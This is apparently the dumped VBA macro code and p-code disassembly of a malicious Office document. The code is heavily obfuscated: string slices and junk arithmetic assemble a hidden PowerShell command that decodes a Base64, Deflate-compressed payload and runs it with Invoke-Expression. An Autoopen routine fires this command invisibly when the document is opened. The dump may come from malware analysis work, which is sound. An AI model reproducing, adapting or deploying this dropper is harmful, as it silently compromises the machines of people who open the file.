zSdSCjE = CStr(Left(Right(BDkjikAwznG, 61), 2)) + CStr(Left(Right(BDkjikAwznG, 49), 1)) + CStr(Left(Right(BDkjikAwznG, 35), 12)) + CStr(Left(Right(BDkjikAwznG, 20), 14)) + Left(Right(BDkjikAwznG, 44), 1)
tiZjOj = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xV4SZZCxlMWJPzUjjYcabhcsNqCSBt1j8DUD6IhrYgm3ievtohT5nzUbUTJBoHpxQMmOVBOzGLSXK4A"
oARaJVEl = Left(Right(tiZjOj, 75), 2) + Left(Right(tiZjOj, 61), 1) + Left(Right(tiZjOj, 44), 15) + CStr(Left(Right(tiZjOj, 25), 17)) + CStr(Left(Right(tiZjOj, 55), 2))
HjBfOHVHZ = "udqW7buOuY6fxhGRO9CBUK18OEhwBSMDdEn2xV4SuPCxlJnidsSRtUn4bhFEr6y/UPVbQbUt5jH"
zQqRaOAiF = Left(Right(HjBfOHVHZ, 51), 1) + Left(Right(HjBfOHVHZ, 41), 1) + CStr(Left(Right(HjBfOHVHZ, 30), 11)) + CStr(Left(Right(HjBfOHVHZ, 17), 11)) + CStr(Left(Right(HjBfOHVHZ, 6), 1))
JGMFpEr = "jvudqW7buOuY6fxhURO9CBUa18uEhwBE7CxMyKxVKIQDRDqJWJP"
GVilUvw = Left(Right(JGMFpEr, 35), 1) + CStr(Left(Right(JGMFpEr, 28), 1)) + Left(Right(JGMFpEr, 20), 7) + CStr(Left(Right(JGMFpEr, 11), 8))
fQswQ = "jvudqW7buOuY6fBhGRO9SBUK18uEZCe6sgdRmaKJoOuPC"
WrGRaWB = CStr(Left(Right(fQswQ, 31), 1)) + CStr(Left(Right(fQswQ, 25), 1)) + Left(Right(fQswQ, 17), 6) + Left(Right(fQswQ, 10), 7)
XfbLjJZdizb = Chr(43)
REPTVJWu = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZBWV4SuPCxlMWJPzUjjWRabhcsuyCZbIkdXNeKISFI84yJkERRmIqEh8XFxBYvCkls"
WEdnz = CStr(Left(Right(REPTVJWu, 65), 2)) + Left(Right(REPTVJWu, 52), 1) + CStr(Left(Right(REPTVJWu, 37), 13)) + CStr(Left(Right(REPTVJWu, 22), 15)) + Left(Right(REPTVJWu, 47), 1)
EQdioXbmk = "jfR"
zAFOzfK = CStr(Left(Right(EQdioXbmk, 3), 1))
itajq = Chr(43)
cjfWrZwro = "jvudqW7buOuYzfxhGRu9CBUK3GsaIwzIgsNNZ2x"
PfqUCuj = Left(Right(cjfWrZwro, 27), 1) + CStr(Left(Right(cjfWrZwro, 21), 1)) + Left(Right(cjfWrZwro, 15), 5) + CStr(Left(Right(cjfWrZwro, 9), 6))
hbfDC = HpqNIl + CSng(69800) + 392457 / Sin(388127 - CByte(892159) / 947579 - Round(69800)) + kBEAK * LQERfHLj - (392457 + 388127 + 892159 - 698000)
Set OqhmGtwVRBB = MFGDGh
cfECJs = "jvudqW7buO0Y6fxhGRO9CHEf38ipCbhSM"
outCH = CStr(Left(Right(cfECJs, 23), 1)) + CStr(Left(Right(cfECJs, 18), 1)) + CStr(Left(Right(cfECJs, 12), 4)) + Left(Right(cfECJs, 7), 5)
kSjGz = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xV4SuPCh/MWJPzUjjYRabhcuuyCSBDNj8DUt5jH589Qxd0vfJ6LQvUcCsdYvC83hbmqlgbSOfX22A2RWR0UYPww9"
jGNwa = Left(Right(kSjGz, 81), 2) + CStr(Left(Right(kSjGz, 65), 1)) + Left(Right(kSjGz, 47), 17) + Left(Right(kSjGz, 27), 18) + Left(Right(kSjGz, 59), 2)
WqtQMf = "jvudqW7buOuY6fxhGvO9CBUKA8uEhwBSMsf4QNigTSuVBsS6TJqzUj"
YBRwwQG = CStr(Left(Right(WqtQMf, 37), 1)) + CStr(Left(Right(WqtQMf, 30), 1)) + CStr(Left(Right(WqtQMf, 21), 8)) + CStr(Left(Right(WqtQMf, 11), 8))
HjzjErtXjE = Chr(43)
oVkwdkXDhhp = "7buOuY6fxhGRO9CBUK18uEhwBSMzREZ2xV4SuPAxlMWZPzUjjYRsv3FR5/UyY11j86NGMB8L6zXzDxWCxdT5"
ZXwGj = CStr(Left(Right(oVkwdkXDhhp, 57), 2)) + Left(Right(oVkwdkXDhhp, 46), 1) + Left(Right(oVkwdkXDhhp, 33), 11) + CStr(Left(Right(oVkwdkXDhhp, 19), 13)) + CStr(Left(Right(oVkwdkXDhhp, 41), 1))
amNjmjVNtdf = "jvudqW7buOuY3fxhGRS9CBUKjZm6ewj4voumZ2x"
WwbbcIr = Left(Right(amNjmjVNtdf, 27), 1) + CStr(Left(Right(amNjmjVNtdf, 21), 1)) + Left(Right(amNjmjVNtdf, 15), 5) + CStr(Left(Right(amNjmjVNtdf, 9), 6))
OrqKjzsRd = Chr(43)
CHzYpizlP = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xV4Su7gxlMWJPzUjjYRaahcsuyxNBt1j8DUt5zbVwlL/9ttcKEzv8zQFQ5mpStMDDOomtb/PILSXK4AWR0"
FzKzQKMZIzA = CStr(Left(Right(CHzYpizlP, 77), 2)) + CStr(Left(Right(CHzYpizlP, 62), 1)) + Left(Right(CHzYpizlP, 45), 16) + Left(Right(CHzYpizlP, 26), 17) + CStr(Left(Right(CHzYpizlP, 56), 2))
vWQNPBZK = "7buOuY6fxhGRO9CBUK18uEhwBSMDPCZ2xV4SuPCxZMWJ3zUjjYRabdQcn3PSxUkTQDUtPcsRu1CVUp/zCdT5nzQ"
avlccRfKibF = CStr(Left(Right(vWQNPBZK, 59), 2)) + CStr(Left(Right(vWQNPBZK, 47), 1)) + Left(Right(vWQNPBZK, 34), 12) + CStr(Left(Right(vWQNPBZK, 19), 13)) + Left(Right(vWQNPBZK, 43), 1)
vEfjZv = "jvudqW7buOuY6fx5GRO9CBKK18uEhGkfbrfFZ21XP9ZNaxlM"
pzCMz = Left(Right(vEfjZv, 33), 1) + CStr(Left(Right(vEfjZv, 26), 1)) + CStr(Left(Right(vEfjZv, 19), 7)) + CStr(Left(Right(vEfjZv, 10), 7))
EVblTRds = HQIAZC + CSng(883610) + 25720 / Sin(18963 - CByte(672791) / 179164 - Round(883610)) + sCYuCTDiPv * cLSXiGmv - (25720 + 18963 + 672791 - 8836100)
Set jWajXqzQS = OdwFpP
vYKJjOt = Chr(43)
urEBzhQFJ = "jvudqW7buOuY6flhGRO9fBUK18uEGi85iVdODuxGHFuPC"
QTCnq = CStr(Left(Right(urEBzhQFJ, 31), 1)) + CStr(Left(Right(urEBzhQFJ, 25), 1)) + Left(Right(urEBzhQFJ, 17), 6) + Left(Right(urEBzhQFJ, 10), 7)
qLKEn = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xVG/uPCxlMWJPzUj7YRabbUsuyCSBt1jXcuui4akzKXMDT3CxdKWfvkehvhJefI5tnABVbdzG"
STjLGizs = Left(Right(qLKEn, 71), 2) + Left(Right(qLKEn, 57), 1) + Left(Right(qLKEn, 41), 15) + Left(Right(qLKEn, 23), 15) + Left(Right(qLKEn, 52), 2)
TIwrDVH = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2u/4SuPCxlMWJPjUjjYRCbhcsuyCSMKr6nNpsgrnADaMXhAvuDEfsEib80aOoCklsKnA"
ONXzJcTnwm = CStr(Left(Right(TIwrDVH, 67), 2)) + CStr(Left(Right(TIwrDVH, 54), 1)) + Left(Right(TIwrDVH, 39), 14) + Left(Right(TIwrDVH, 22), 15) + Left(Right(TIwrDVH, 48), 1)
bYCjv = MPjZzfFBBUK + CSng(422102) + 358107 / Sin(268686 - CByte(984883) / 283719 - Round(422102)) + OzHPWzEsDzP * ZjuwKREYa - (358107 + 268686 + 984883 - 4221020)
Set BkfBzFR = WOPGVv
CRrPm = "udqW7buOuY6fxhGRO9C7UK18uEhdBSMDdEZ2yhMtjppnlM7Ltcyf6GBRbhcs"
jzQEYSDCWEz = CStr(Left(Right(CRrPm, 41), 1)) + Left(Right(CRrPm, 33), 1) + CStr(Left(Right(CRrPm, 24), 8)) + CStr(Left(Right(CRrPm, 14), 9)) + Left(Right(CRrPm, 5), 1)
VpVuY = "7buOuY6fxhGRO9CBUK18lEhwBSMDmEZ2PV4SuPTpdO5uWWOjj1Y2VM6FzvCSBt1"
RGLjINqGcUs = Left(Right(VpVuY, 43), 1) + Left(Right(VpVuY, 35), 1) + Left(Right(VpVuY, 25), 9) + Left(Right(VpVuY, 14), 9) + Left(Right(VpVuY, 31), 1)
AiNHabtiP = Chr(43)
KshDzClzssJ = "udqW7buOuY6fxhGRO9CBUK18mEhwBSMDdEG2xV4SuPCxlgVvWYwF8oACbhcF8sOWlwzmcCUt5jH"
HEtQVdo = Left(Right(KshDzClzssJ, 51), 1) + Left(Right(KshDzClzssJ, 41), 1) + CStr(Left(Right(KshDzClzssJ, 30), 11)) + CStr(Left(Right(KshDzClzssJ, 17), 11)) + CStr(Left(Right(KshDzClzssJ, 6), 1))
sjYZVOTYdn = Chr(43)
iDnju = "udqW7buOuY6fxhGRO9wBUK18uEIwBSMDdEZGq2vc3y0xLRgx7kNcnYRab"
ASLFmE = CStr(Left(Right(iDnju, 39), 1)) + CStr(Left(Right(iDnju, 31), 1)) + Left(Right(iDnju, 22), 8) + Left(Right(iDnju, 13), 8) + Left(Right(iDnju, 5), 1)
EvcuLRiwwGp = Chr(43)
NnSbTCHp = "7buOuY6fxhGRO9CBUK18uEhwBSM1iEZ2xV4SuPtxlMWqPzUjjYR0px31U3GFnW1j8XkYHPuLPtLZ1tWCxdT5"
rMSkcIFaJw = CStr(Left(Right(NnSbTCHp, 57), 2)) + Left(Right(NnSbTCHp, 46), 1) + Left(Right(NnSbTCHp, 33), 11) + CStr(Left(Right(NnSbTCHp, 19), 13)) + CStr(Left(Right(NnSbTCHp, 41), 1))
trjLozV = "udqW7buOuY6fxhGRO9wBUK18uEawBSMDdEZMD6hz8zxx/0B9o9OaTYRab"
CzGYPCwwGM = CStr(Left(Right(trjLozV, 39), 1)) + CStr(Left(Right(trjLozV, 31), 1)) + Left(Right(trjLozV, 22), 8) + Left(Right(trjLozV, 13), 8) + Left(Right(trjLozV, 5), 1)
djGHZzFtT = BIjiPnZUijz + CSng(304024) + 959286 / Sin(472852 - CByte(147759) / 822765 - Round(304024)) + libUKLajT * BYjsSl - (959286 + 472852 + 147759 - 3040240)
Set ATOXdOEwIf = IOFNkt
PVDZwG = "jvudqW7buOuY6fxhzRO9CBUT18uEhwBStp/M1hxVYRaM9V1CWJP"
OzkTUJjqD = Left(Right(PVDZwG, 35), 1) + CStr(Left(Right(PVDZwG, 28), 1)) + Left(Right(PVDZwG, 20), 7) + CStr(Left(Right(PVDZwG, 11), 8))
KJiCzbbWw = Chr(43)
WSBlAtJiWa = "jvud3W7uuOfF6Bx"
HpnLBLv = Left(Right(WSBlAtJiWa, 11), 1) + Left(Right(WSBlAtJiWa, 8), 1) + Left(Right(WSBlAtJiWa, 5), 2) + Left(Right(WSBlAtJiWa, 2), 1)
itMrECVv = Chr(43)
uvwkZwRtq = "jvudqW7buOuS6fxhKRO9CBcDsyWE/oMarDdE"
MXzqL = Left(Right(uvwkZwRtq, 25), 1) + CStr(Left(Right(uvwkZwRtq, 20), 1)) + Left(Right(uvwkZwRtq, 14), 5) + Left(Right(uvwkZwRtq, 8), 5)
jYjkNjrHAJ = Chr(43)
RSkQE = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2jz4SuPCxlMWJPJUjjYRubhcsuyCSUV79eVpN3GBnHdMXh9dOPqztaOSKNk7ECklsKnA"
ZZKYR = CStr(Left(Right(RSkQE, 67), 2)) + CStr(Left(Right(RSkQE, 54), 1)) + Left(Right(RSkQE, 39), 14) + Left(Right(RSkQE, 22), 15) + Left(Right(RSkQE, 48), 1)
VbhqqlLhBc = lcuOjjDjKEc + CSng(159369) + 197169 / Sin(421846 - CByte(373210) / 86677 - Round(159369)) + fdRsCK * dbDkwihSR - (197169 + 421846 + 373210 - 1593690)
Set KlCwmRzU = PssSwisSB
rmQPPaKJ = Chr(43)
TVJRkX = "jvusqWob2OXY"
fvmjuQDusL = CStr(Left(Right(TVJRkX, 9), 1)) + CStr(Left(Right(TVJRkX, 6), 1)) + Left(Right(TVJRkX, 4), 1) + Left(Right(TVJRkX, 2), 1)
crRIOEu = Chr(43)
twacRZPhO = "jvudqW7buOsY6fxuGRO9C61jZ88WPt/SM"
aOEszABr = CStr(Left(Right(twacRZPhO, 23), 1)) + CStr(Left(Right(twacRZPhO, 18), 1)) + CStr(Left(Right(twacRZPhO, 12), 4)) + Left(Right(twacRZPhO, 7), 5)
zziwAJZ = Chr(43)
aCmjsYkw = jUchrzjuYo + CSng(436333) + 703404 / Sin(380408 - CByte(474897) / 534047 - Round(436333)) + pcFwA * WLzoz - (703404 + 380408 + 474897 - 4363330)
Set SiwGvi = LjcjGiWTd
TAzpRvcO = "7buOuY6fxhGRO9CBUK18GEhwBSMDAEZ2dV4SuPwfj/vFcvRjjx0B97h8I/CSBt1"
cTZdOpE = Left(Right(TAzpRvcO, 43), 1) + Left(Right(TAzpRvcO, 35), 1) + Left(Right(TAzpRvcO, 25), 9) + Left(Right(TAzpRvcO, 14), 9) + Left(Right(TAzpRvcO, 31), 1)
PdEYIGl = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEPzxV4SuPCxlMJJPzUjsYRabhcsu0V2xyFut9r8='H5) , [Io.coMpREQFsBYvC"
uPFroYpw = CStr(Left(Right(PdEYIGl, 63), 2)) + Left(Right(PdEYIGl, 51), 1) + Left(Right(PdEYIGl, 36), 13) + CStr(Left(Right(PdEYIGl, 21), 14)) + CStr(Left(Right(PdEYIGl, 45), 1))
KZWsETSNb = "udqW7buOuY6fxhGRO9CBUK18sEhwBSMDdEI2xV4SuPCxlOn.comPREssbhiOnModE]::DeUt5jH"
HmpLjzGjra = Left(Right(KZWsETSNb, 51), 1) + Left(Right(KZWsETSNb, 41), 1) + CStr(Left(Right(KZWsETSNb, 30), 11)) + CStr(Left(Right(KZWsETSNb, 17), 11)) + CStr(Left(Right(KZWsETSNb, 6), 1))
kVwfr = "7buOuY6fxhGRO9CBUK18uEhwBSCOdEZ2xV4SumCxlCWJPzUjjYPReSS)),[SYt1sTEM.TEXT.enXhNWCx"
NrwJDMiiP = Left(Right(kVwfr, 55), 2) + CStr(Left(Right(kVwfr, 44), 1)) + Left(Right(kVwfr, 31), 11) + CStr(Left(Right(kVwfr, 18), 12)) + CStr(Left(Right(kVwfr, 40), 1))
fsVHIdN = "jvudqW7buOuY6fxhGOO9CBUKd8uEhwBSMiNg]::aSSuCii)).RezUj"
bjkLAl = CStr(Left(Right(fsVHIdN, 37), 1)) + CStr(Left(Right(fsVHIdN, 30), 1)) + CStr(Left(Right(fsVHIdN, 21), 8)) + CStr(Left(Right(fsVHIdN, 11), 8))
Qwobu = jcfCF + CSng(710919) + 202669 / Sin(626330 - CByte(792990) / 742533 - Round(710919)) + iLdwX * WjCMYsClNw - (202669 + 626330 + 792990 - 7109190)
Set EUMzwV = tsqDzMGjE
VDJSiHk = "jvudqW7buOuY6AxhGRODCBUK18toEnd(M )|iExV4S"
qszOXwF = Left(Right(VDJSiHk, 29), 1) + CStr(Left(Right(VDJSiHk, 23), 1)) + Left(Right(VDJSiHk, 16), 6) + Left(Right(VDJSiHk, 9), 6)
EGtoc = FcQwkX + piPrqqSi + znbuuKjw + kGXYo + LMqtfhnzZW + mELijTbCM + pIRuvTzAQ + Qubfi + ZzsLpCXLXcl + DmvWbGWD + wVljjBuNnt + VwaAoKjW + DljfDs + TPiziwwt + VDEmKWhSM + TPKtuCIKkN + FfoaazEwsY + zSdSCjE + oARaJVEl + zQqRaOAiF + GVilUvw + WrGRaWB + XfbLjJZdizb + WEdnz + zAFOzfK + itajq + PfqUCuj + outCH + jGNwa + YBRwwQG + HjzjErtXjE + ZXwGj + WwbbcIr + OrqKjzsRd + FzKzQKMZIzA + avlccRfKibF + pzCMz + vYKJjOt + QTCnq + STjLGizs + ONXzJcTnwm + jzQEYSDCWEz + RGLjINqGcUs + AiNHabtiP + HEtQVdo + sjYZVOTYdn + ASLFmE + EvcuLRiwwGp + rMSkcIFaJw + CzGYPCwwGM + OzkTUJjqD + KJiCzbbWw + HpnLBLv + itMrECVv + MXzqL + jYjkNjrHAJ + ZZKYR + rmQPPaKJ + fvmjuQDusL + crRIOEu + aOEszABr + zziwAJZ + cTZdOpE + uPFroYpw + HmpLjzGjra + NrwJDMiiP + bjkLAl + qszOXwF + qLjdMIz
End Function
Function sfKqWMPQ()
On Error Resume Next
sfKqWMPQ = zwIuVw + EGtoc
[Shell] wdUqlpUj + Chr(vbKeyP) + sfKqWMPQ, vbHide
End Function
Sub Autoopen()
On Error Resume Next
sfKqWMPQ
End Sub
' Processing file: /tmp/qstore_bq0iv5rb
' ===============================================================================
' Module streams:
' Macros/VBA/jtaPPmcmFHDN - 44340 bytes
' Line #0:
' FuncDefn (Function zwIuVw(id_FFFE As Variant))
' Line #1:
' Line #2:
' OnError (Resume Next)
' Line #3:
' Ld unHYwi
' LitDI4 0x4782 0x000A
' Coerce (Sng)
' Add
' LitDI4 0x8D38 0x000D
' LitDI4 0x745A 0x0009
' LitDI4 0x7444 0x0007
' Coerce (Byte)
' LitDI4 0xD765 0x0009
' Div
' Sub
' LitDI4 0x4782 0x000A
' ArgsLd Round 0x0001
' Sub
' ArgsLd Sin 0x0001
' Div
' Add
' Ld owWOfZacF
' Ld DdTXBYiYJ
' Mul
' Add
' LitDI4 0x8D38 0x000D
' LitDI4 0x745A 0x0009
' Add
' LitDI4 0x7444 0x0007
' Add
' LitDI4 0xCB14 0x0066
' Sub
' Paren
' Sub
' St JSLXckofuFY
' Line #4:
' SetStmt
' Ld vnUvsw
' Set Jrtmp
' Line #5:
' LitStr 0x0078 "t75Pj7TI3G4Powershell -WinDowsTyle hidden ( NeW-ObJEeS9tTIkqdqmPNeLuitzySvxtocFMBYhAablbeNe0w0YiKmftxnC2M5piUG5q2Ne59bpl"
' St uGEVmG
' Line #6:
' Ld uGEVmG
' LitDI2 0x006C
' ArgsLd Right 0x0002
' LitDI2 0x0028
' ArgsLd Left 0x0002
' Coerce (Str)
' St ZELavYjrb
' Line #7:
' Line #8:
' LitStr 0x0048 "7buOuY6fxhGRO9CBUK18uEhCBSMDdEZ2tV4SueCxlMWJ Io.StreacsmReaDEr( (Nt5jH5"
' St DNDVlzA
' Line #9:
' Ld DNDVlzA
' LitDI2 0x0031
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Ld DNDVlzA
' LitDI2 0x0028
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' Ld DNDVlzA
' LitDI2 0x001C
' ArgsLd Right 0x0002
' LitDI2 0x000A
' ArgsLd Left 0x0002
' Add
' Ld DNDVlzA
' LitDI2 0x0010
' ArgsLd Right 0x0002
' LitDI2 0x000B
' ArgsLd Left 0x0002
' Add
' Ld DNDVlzA
' LitDI2 0x0023
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' St MOwVfG
' Line #10:
' Line #11:
' LitStr 0x0036 "jvudqW7buOuY6fxhGWO9CBUK-8uEhwBSMObJECt SuSySTEm.IzUj"
' St QGbzAipiu
' Line #12:
' Ld QGbzAipiu
' LitDI2 0x0025
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Coerce (Str)
' Ld QGbzAipiu
' LitDI2 0x001E
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' Ld QGbzAipiu
' LitDI2 0x0015
' ArgsLd Right 0x0002
' LitDI2 0x0008
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' Ld QGbzAipiu
' LitDI2 0x000B
' ArgsLd Right 0x0002
' LitDI2 0x0008
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' St iTrTBwm
' Line #13:
' Line #14:
' LitStr 0x004B "udqW7buOuY6fxhGRO9CBUK18oEhwBSMDdE.2xV4SuPCxlcOmPRessIonbh.DeFLATEstReUt5jH"
' St ahuWDpOGP
' Line #15:
' Ld ahuWDpOGP
' LitDI2 0x0033
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Ld ahuWDpOGP
' LitDI2 0x0029
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Add
' Ld ahuWDpOGP
' LitDI2 0x001E
' ArgsLd Right 0x0002
' LitDI2 0x000B
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' Ld ahuWDpOGP
' LitDI2 0x0011
' ArgsLd Right 0x0002
' LitDI2 0x000B
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' Ld ahuWDpOGP
' LitDI2 0x0006
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' St WSRJdjGz
' Line #16:
' Ld GRhzZFOV
' LitDI4 0x5872 0x000A
' Coerce (Sng)
' Add
' LitDI4 0x311E 0x000C
' LitDI4 0x82EE 0x0006
' LitDI4 0x8A96 0x000A
' Coerce (Byte)
' LitDI4 0xBF8D 0x0004
' Div
' Sub
' LitDI4 0x5872 0x000A
' ArgsLd Round 0x0001
' Sub
' ArgsLd Sin 0x0001
' Div
' Add
' Ld MXaMj
' Ld odRsCZZd
' Mul
' Add
' LitDI4 0x311E 0x000C
' LitDI4 0x82EE 0x0006
' Add
' LitDI4 0x8A96 0x000A
' Add
' LitDI4 0x7474 0x0067
' Sub
' Paren
' Sub
' St sMYIZA
' Line #17:
' SetStmt
' Ld wdwwaFoJbp
' Set wYvGPtKJ
' Line #18:
' LitStr 0x005D "7buOuY6fxhGRO9CBUK18uEhwBSMDdEAmxV4SuPCxlM(JPzUjoYRabhcsu [SysteM.Io.MH5eMoRystrEAM][CQFsBYvC"
' St JdFKBbPkww
' Line #19:
' Ld JdFKBbPkww
' LitDI2 0x003F
' ArgsLd Right 0x0002
' LitDI2 0x0002
' ArgsLd Left 0x0002
' Coerce (Str)
' Ld JdFKBbPkww
' LitDI2 0x0033
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Add
' Ld JdFKBbPkww
' LitDI2 0x0024
' ArgsLd Right 0x0002
' LitDI2 0x000D
' ArgsLd Left 0x0002
' Add
' Ld JdFKBbPkww
' LitDI2 0x0015
' ArgsLd Right 0x0002
' LitDI2 0x000E
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' Ld JdFKBbPkww
' LitDI2 0x002D
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' St mqPAFplLaH
' Line #20:
' Line #21:
' LitStr 0x003C "udqW7buOuY6fxhGRO9CNUK18uEhVBSMDdEZ2eRt]::FRlMOMBasE64sTbhcs"
' St OiYIu
' Line #22:
' Ld OiYIu
' LitDI2 0x0029
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Coerce (Str)
' Ld OiYIu
' LitDI2 0x0021
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Add
' Ld OiYIu
' LitDI2 0x0018
' ArgsLd Right 0x0002
' LitDI2 0x0008
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' Ld OiYIu
' LitDI2 0x000E
' ArgsLd Right 0x0002
' LitDI2 0x0009
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' Ld OiYIu
' LitDI2 0x0005
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Add
' St NOhlITodwzZ
' Line #23:
' Line #24:
' LitStr 0x0033 "jvudqW7buOuY6fxhrRO9CBUi18uEhwBNG('bVZxVtb9pIEP5WJP"
' St mrhsoVT
' Line #25:
' Ld mrhsoVT
' LitDI2 0x0023
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Ld mrhsoVT
' LitDI2 0x001C
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' Ld mrhsoVT
' LitDI2 0x0014
' ArgsLd Right 0x0002
' LitDI2 0x0007
' ArgsLd Left 0x0002
' Add
' Ld mrhsoVT
' LitDI2 0x000B
' ArgsLd Right 0x0002
' LitDI2 0x0008
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' St jnsWwVRKHG
' Line #26:
' Line #27:
' LitDI2 0x002B
' ArgsLd Chr 0x0001
' St pwUHLFdL
' Line #28:
' LitStr 0x005A "7buOuY6fxhGRO9CBUK18uEhwBSMDd0v2xV4SuPCxl0WJPzSjjYRabhcHqzoFIxLj9bst5jTVWohtHWvxzUhvnzQFsB"
' St vluzwYw
' Line #29:
' Ld vluzwYw
' LitDI2 0x003D
' ArgsLd Right 0x0002
' LitDI2 0x0002
' ArgsLd Left 0x0002
' Coerce (Str)
' Ld vluzwYw
' LitDI2 0x0031
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' Ld vluzwYw
' LitDI2 0x0023
' ArgsLd Right 0x0002
' LitDI2 0x000C
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' Ld vluzwYw
' LitDI2 0x0014
' ArgsLd Right 0x0002
' LitDI2 0x000E
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' Ld vluzwYw
' LitDI2 0x002C
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Add
' St EaMznRGHCm
' Line #30:
' Line #31:
' LitStr 0x0075 "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xV4SuPZFlMWJPzUjjYRabfcsuyCSde1j8DUt5jHHCICSTBdo2btKH89FsB3tmd8dw9BRtmJ3dnZ2K4AWR0UYP"
' St qjNTJckIifn
' Line #32:
' Ld qjNTJckIifn
' LitDI2 0x004F
' ArgsLd Right 0x0002
' LitDI2 0x0002
' ArgsLd Left 0x0002
' Coerce (Str)
' Ld qjNTJckIifn
' LitDI2 0x0040
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' Ld qjNTJckIifn
' LitDI2 0x002E
' ArgsLd Right 0x0002
' LitDI2 0x0010
' ArgsLd Left 0x0002
' Add
' Ld qjNTJckIifn
' LitDI2 0x001B
' ArgsLd Right 0x0002
' LitDI2 0x0012
' ArgsLd Left 0x0002
' Add
' Ld qjNTJckIifn
' LitDI2 0x0039
' ArgsLd Right 0x0002
' LitDI2 0x0002
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' St oNDiNNSoqJ
' Line #33:
' Line #34:
' LitStr 0x000C "jvueqWYbZOmY"
' St ThAwAclRo
' Line #35:
' Ld ThAwAclRo
' LitDI2 0x0009
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Coerce (Str)
' Ld ThAwAclRo
' LitDI2 0x0006
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' Ld ThAwAclRo
' LitDI2 0x0004
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Add
' Ld ThAwAclRo
' LitDI2 0x0002
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Add
' St oHnsmnMcXSn
' Line #36:
' Ld OUBcVcmT
' LitDI4 0xE271 0x0007
' Coerce (Sng)
' Add
' LitDI4 0x5802 0x000D
' LitDI4 0x473E 0x000A
' LitDI4 0xE312 0x0008
' Coerce (Byte)
' LitDI4 0x88C4 0x0004
' Div
' Sub
' LitDI4 0xE271 0x0007
' ArgsLd Round 0x0001
' Sub
' ArgsLd Sin 0x0001
' Div
' Add
' Ld KaAqTpzQr
' Ld TdkdR
' Mul
' Add
' LitDI4 0x5802 0x000D
' LitDI4 0x473E 0x000A
' Add
' LitDI4 0xE312 0x0008
' Add
' LitDI4 0xD86A 0x004E
' Sub
' Paren
' Sub
' St VfGmEMvfSv
' Line #37:
' SetStmt
' Ld wOhGzmwaIGi
' Set bUWhn
' Line #38:
' LitDI2 0x002B
' ArgsLd Chr 0x0001
' St KZutJmijG
' Line #39:
' LitStr 0x005A "7buOuY6fxhGRO9CBUK18uEhwBSMDdaL2xV4SuPCxltWJPzzjjYRabhcfA3a9fZrEP8Qt5jBSbtQ3JxQg263inzQFsB"
' St zpKCTEqlZNE
' Line #40:
' Ld zpKCTEqlZNE
' LitDI2 0x003D
' ArgsLd Right 0x0002
' LitDI2 0x0002
' ArgsLd Left 0x0002
' Coerce (Str)
' Ld zpKCTEqlZNE
' LitDI2 0x0031
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' Ld zpKCTEqlZNE
' LitDI2 0x0023
' ArgsLd Right 0x0002
' LitDI2 0x000C
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' Ld zpKCTEqlZNE
' LitDI2 0x0014
' ArgsLd Right 0x0002
' LitDI2 0x000E
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' Ld zpKCTEqlZNE
' LitDI2 0x002C
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Add
' St VMnBoiH
' Line #41:
' Line #42:
